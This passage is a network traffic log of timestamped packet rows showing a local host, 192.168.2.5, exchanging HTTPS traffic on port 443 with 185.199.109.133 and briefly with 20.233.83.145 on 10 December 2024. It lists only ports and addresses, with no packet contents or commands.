Dec 10, 2024 07:35:21.541253090 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.541261911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.541296005 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.545793056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.545823097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.545898914 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.545906067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.545943022 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.550515890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.550545931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.550575972 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.550582886 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.550612926 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.550625086 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.555214882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.555242062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.555269957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.555282116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.555291891 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.555365086 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.560129881 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.560162067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.560214043 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.560224056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.560247898 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.560262918 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.614654064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.614690065 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.614726067 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.614742994 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.614761114 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.614779949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.614871979 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:21.614960909 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:21.615006924 CET	49737	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:21.615031004 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:21.615051031 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:21.615066051 CET	49737	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:21.615093946 CET	49737	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:21.615665913 CET	49737	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:21.615689039 CET	443	49737	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:21.619111061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.619137049 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.619191885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.619199991 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.619237900 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.634944916 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.634984970 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.635113001 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.635581017 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.635595083 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.728379965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.728419065 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.728579998 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.728611946 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.728662968 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.733378887 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.733416080 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.733526945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.733555079 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.733603954 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.737752914 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.737783909 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.737874985 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.737896919 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.737941027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.742757082 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.742789984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.742872953 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.742892981 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.742937088 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.747792959 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.747833014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.747936010 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.747956991 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.747997999 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.753101110 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.753130913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.753233910 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.753254890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.753294945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.806802988 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.806852102 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.806979895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.807012081 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.807075024 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.811167955 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.811203003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.811319113 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.811338902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.811377048 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.920631886 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.920669079 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.920826912 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.920859098 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.920898914 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.925543070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.925579071 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.925643921 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.925667048 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.925688982 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.926012993 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.929900885 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.929919958 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.930008888 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.930030107 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.930072069 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.934849024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.934865952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.935002089 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.935025930 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.935070992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.939769030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.939799070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.939863920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.939888000 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.939905882 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.939929008 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.944539070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.944566011 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.944668055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.944690943 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.944735050 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.998924017 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.998950005 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.999078035 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:21.999106884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:21.999151945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.003504038 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.003520966 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.003607035 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.003628969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.003671885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.112869024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.112900019 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.113035917 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.113070011 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.113138914 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.117744923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.117769003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.117867947 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.117892981 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.117937088 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.122174025 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.122210979 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.122293949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.122313976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.122371912 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.127226114 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.127262115 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.127345085 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.127368927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.127424002 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.131968021 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.132000923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.132100105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.132124901 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.132164001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.136821032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.136851072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.136944056 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.136964083 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.137022018 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.191224098 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.191253901 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.191308975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.191348076 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.191365957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.191673040 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.195846081 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.195863008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.195961952 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.195986032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.196027040 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.305155993 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.305188894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.305250883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.305282116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.305315018 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.305344105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.310055017 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.310085058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.310194969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.310214996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.310265064 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.315047979 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.315068960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.315188885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.315211058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.315260887 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.319509029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.319526911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.319626093 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.319641113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.319684029 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.324397087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.324424028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.324507952 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.324518919 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.324561119 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.329364061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.329395056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.329476118 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.329489946 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.329545975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.383754015 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.383794069 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.383930922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.383970022 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.384016037 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.388628960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.388657093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.388762951 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.388787985 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.388839006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.497545004 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.497591972 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.497697115 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.497729063 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.497771978 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.502491951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.502520084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.502593040 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.502629042 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.502666950 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.506870031 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.506899118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.506958008 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.506980896 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.506998062 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.507020950 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.511785030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.511810064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.511895895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.511919022 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.511976957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.516488075 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.516515017 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.516640902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.516680956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.516885042 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.521455050 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.521491051 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.521559954 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.521580935 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.521601915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.521934032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.575799942 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.575835943 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.575997114 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.576040030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.576095104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.580296040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.580332041 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.580482006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.580512047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.580570936 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.689615965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.689646006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.689802885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.689858913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.689902067 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.694672108 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.694701910 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.694792032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.694803953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.694845915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.699559927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.699595928 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.699678898 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.699690104 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.699745893 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.703923941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.703957081 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.704046965 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.704062939 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.704098940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.709182978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.709214926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.709302902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.709312916 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.709352970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.713763952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.713788033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.713866949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.713880062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.713917971 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.728701115 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.768213034 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.768240929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.768333912 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.768359900 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.768405914 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.773159027 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.773191929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.773289919 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.773305893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.773330927 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.773338079 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.844749928 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.851511955 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.851526976 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.855969906 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.855976105 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.881732941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.881769896 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.881895065 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.881928921 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.881977081 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.886758089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.886785030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.886884928 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.886893988 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.886926889 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.891633987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.891665936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.891746044 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.891752958 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.891769886 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.891783953 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.896054983 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.896075010 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.896116972 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.896125078 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.896169901 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.901866913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.901885033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.901956081 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.901963949 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.901998043 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.905518055 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.905570984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.905589104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.905594110 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.905627012 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.959820986 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.959851980 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.959920883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.959953070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.959991932 CET	49720	443	192.168.2.5	185.199.109.133
